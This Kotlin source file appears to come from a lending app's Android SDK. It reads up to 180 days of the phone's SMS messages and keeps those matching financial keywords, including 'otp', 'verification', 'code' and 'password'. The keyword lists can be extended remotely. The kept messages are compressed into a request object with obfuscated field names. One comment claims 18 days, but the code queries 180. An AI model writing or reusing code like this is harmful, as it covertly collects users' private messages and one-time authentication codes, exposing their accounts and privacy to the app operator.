package com.nitty.cash.loop.sdk.device.services

import android.Manifest
import android.annotation.SuppressLint
import android.content.Context
import android.provider.Telephony
import com.google.gson.Gson
import com.nitty.cash.loop.sdk.device.NittyDeviceSycBuilder
import com.nitty.cash.loop.sdk.device.bean.NittyDeviceMessageBean
import com.nitty.cash.loop.sdk.device.bean.NittySmsRequestParams
import com.nitty.cash.loop.sdk.device.util.checkPermissionsGranted
import com.nitty.cash.loop.sdk.device.util.safe
import com.nitty.cash.loop.sdk.device.util.safeLong
import com.nitty.cash.loop.utils.helper.NittyConfigsHelper

// 定义时间段常量
object SMSTimeItem {
    const val PAST_1_DAY = "past1Day"
    const val PAST_3_DAYS = "past3Days"
    const val PAST_7_DAYS = "past7Days"
    const val PAST_15_DAYS = "past15Days"
    const val PAST_21_DAYS = "past21Days"
    const val PAST_30_DAYS = "past30Days"
    const val PAST_60_DAYS = "past60Days"
    const val PAST_90_DAYS = "past90Days"

    val timeFrameDurations = mapOf(
        PAST_1_DAY to 86400000L,
        PAST_3_DAYS to 259200000L,
        PAST_7_DAYS to 604800000L,
        PAST_15_DAYS to 1296000000L,
        PAST_21_DAYS to 1814400000L,
        PAST_30_DAYS to 2592000000L,
        PAST_60_DAYS to 5184000000L,
        PAST_90_DAYS to 7776000000L
    )
}

// 获取状态--用途待定
var MSG_STATUS = "FET_OK"

/**
 * 获取短信列表
 *
 * 谷歌要求需要增加一个筛选金融信息的操作，
 * 关键词产品那边会提供
 */
@SuppressLint("Range")
fun Context.msgData(): NittySmsRequestParams {
    val fillParams = NittySmsRequestParams(xd304965bcd9478080 = NittyDeviceSycBuilder.pathMag)
    if (!checkPermissionsGranted(listOf(Manifest.permission.READ_SMS))) return fillParams

    return try {
        // SMS mobile 关键词
        val mobileFilters = mutableSetOf("pesa", "okoa", "kcb", "bank", "bet", "mulla", "airtel", "safaricom", "game", "branch", "cash", "kash")
        //SMS Content 关键词
        val contentFilters = mutableSetOf("otp", "code", "verification", "loan", "due", "payment", "lend", "cash", "repay", "bet", "application", "password", "approved")
        //客服配置读取 Content 关键字
        val contentKeys = NittyConfigsHelper.getNittySmsContentKeys()
        if (contentKeys != null){
            contentFilters.addAll(contentKeys)
        }

        //客服配置读取 Mobile 关键字
        val mobileKeys = NittyConfigsHelper.getNittySmsMobileKeys()
        if (mobileKeys != null){
            mobileFilters.addAll(mobileKeys)
        }

        val list = mutableListOf<NittyDeviceMessageBean>()
        val uri = Telephony.Sms.CONTENT_URI
        val columns = arrayOf(
            Telephony.Sms._ID,
            Telephony.Sms.ADDRESS,
            Telephony.Sms.PERSON,
            Telephony.Sms.BODY,
            Telephony.Sms.DATE,
            Telephony.Sms.TYPE,
            Telephony.Sms.PROTOCOL,
            Telephony.Sms.READ,
            Telephony.Sms.STATUS
        )

        // 只查18天的数据
        val curTimeMills = System.currentTimeMillis()
        val queryTimeMills = 15552000000L
        val startTime = curTimeMills - queryTimeMills
        val selection = "DATE >= ?"
        val selectionArgs = arrayOf(startTime.toString())
        val order = Telephony.Sms.DEFAULT_SORT_ORDER

        contentResolver.query(uri, columns, selection, selectionArgs, order)?.use { cursor ->

            val timeFrames = SMSTimeItem.timeFrameDurations.mapValues { curTimeMills - it.value }

            val counts = timeFrames.keys.associateWith { 0 to 0 }.toMutableMap()

            val totalCount = cursor.count

            fun updateCounts(date: Long, isReceive: Boolean) {
                timeFrames.forEach { (frame, threshold) ->
                    if (date >= threshold) {
                        val (sent, received) = counts[frame] ?: (0 to 0)
                        counts[frame] =
                            if (isReceive) sent to (received + 1) else (sent + 1) to received
                    }
                }
            }

            while (cursor.moveToNext()) {
                try {
                    val id = cursor.getString(cursor.getColumnIndex(Telephony.Sms._ID)).safe()
                    val address = cursor.getString(cursor.getColumnIndex(Telephony.Sms.ADDRESS)).safe()
                    val person = cursor.getString(cursor.getColumnIndex(Telephony.Sms.PERSON)).safe().ifBlank { address }
                    val body = cursor.getString(cursor.getColumnIndex(Telephony.Sms.BODY)).safe()
                    val date = cursor.getString(cursor.getColumnIndex(Telephony.Sms.DATE)).safe().safeLong()
                    val read = cursor.getString(cursor.getColumnIndex(Telephony.Sms.READ)).safe()
                    val status = cursor.getString(cursor.getColumnIndex(Telephony.Sms.STATUS)).safe()
                    val type = if (cursor.getInt(cursor.getColumnIndex(Telephony.Sms.TYPE)) == 1) "RECEIVE" else "SEND"
                    val protocol = if (cursor.getInt(cursor.getColumnIndex(Telephony.Sms.PROTOCOL)) == 1) "MMS" else "SMS"

                    // 检查mobil是否匹配
                    val isAddressMatch = mobileFilters.any { filter -> address.uppercase().contains(filter.uppercase(),true)}
                    // 检查content是否匹配
                    val isBodyMatch = contentFilters.any { filter -> body.uppercase().contains(filter.uppercase(), true)}

//                    val isAddressMatch = ASFilterUtil.addressFilters().any { address.contains(it, true) }
//                    val isBodyMatch = ASFilterUtil.bodyFilters().any { body.contains(it, true) }

                    if (isAddressMatch or isBodyMatch) {
                        val dateString = date.toString()
                        list.add(
                            NittyDeviceMessageBean(
                                h5b4f5fca169447890 = person,
                                la2066c657 = address,
                                b62c0 = type,
                                f11830ec6f = protocol,
                                u948976a = dateString,
                                h3367356810047c2bea = person,
                                z05d3936f8a14 = type,
                                o102 = body,
                                tc77 = id,
                                z7e1fc25940 = protocol,
                                rca028d4103b491e8 = read,
                                b47cb8bc8271417e8 = read,
                                m5ede = "",
                                fb4bf43 = status,
                                y5ab4 = dateString
                            )
                        )
                    }
                    updateCounts(date, type == "RECEIVE")
                } catch (e: Exception) {
                    // Log or handle exception
                }
            }

            // 发送第1条短信的时间
            val firstSentTime = list.findLast { it.b62c0 == "SEND" }?.u948976a.orEmpty()
            // 接收到第1条短信的时间
            val firstReceivedTime = list.findLast { it.b62c0 == "RECEIVE" }?.u948976a.orEmpty()

            MSG_STATUS = if (list.isEmpty()) "FET_EMPTY" else "FET_OK"
            fillParams.apply {
                this.tcd27e295a0646eb = Gson().toJson(list).trim().gzipString()
                this.q6de4c = MSG_STATUS
                this.b75 = totalCount.toString()
                this.e9bd8e89027846c8 = firstSentTime
                this.n435e7944f = firstReceivedTime

                // 日期范围收发数据
                timeFrames.keys.forEach { frame ->
                    val (sent, received) = counts[frame] ?: (0 to 0)
                    when (frame) {
                        SMSTimeItem.PAST_1_DAY -> {
                            this.qb2ead758a = sent.toString()
                            this.gfa8eb045515404 = received.toString()
                        }

                        SMSTimeItem.PAST_3_DAYS -> {
                            this.f92a453321a744d4bce = sent.toString()
                            this.hf7f96 = received.toString()
                        }

                        SMSTimeItem.PAST_7_DAYS -> {
                            this.ob5ecbec1d104129 = sent.toString()
                            this.u11b9768488b4 = received.toString()
                        }

                        SMSTimeItem.PAST_15_DAYS -> {
                            this.m310b2 = sent.toString()
                            this.r195871b9a38 = received.toString()
                        }

                        SMSTimeItem.PAST_21_DAYS -> {
                            this.i93a80f8e35a = sent.toString()
                            this.n3a69b6 = received.toString()
                        }

                        SMSTimeItem.PAST_30_DAYS -> {
                            this.fa233fbd = sent.toString()
                            this.mc835981cbde41 = received.toString()
                        }

                        SMSTimeItem.PAST_60_DAYS -> {
                            this.j0391b9759c84bfe8 = sent.toString()
                            this.p6ceb98bef3440 = received.toString()
                        }

                        SMSTimeItem.PAST_90_DAYS -> {
                            this.s7ab945ba354 = sent.toString()
                            this.t9de4ab40 = received.toString()
                        }
                    }
                }
            }
        } ?: fillParams
    } catch (e: Exception) {
        MSG_STATUS = "FET_ERROR"
        fillParams
    }
}
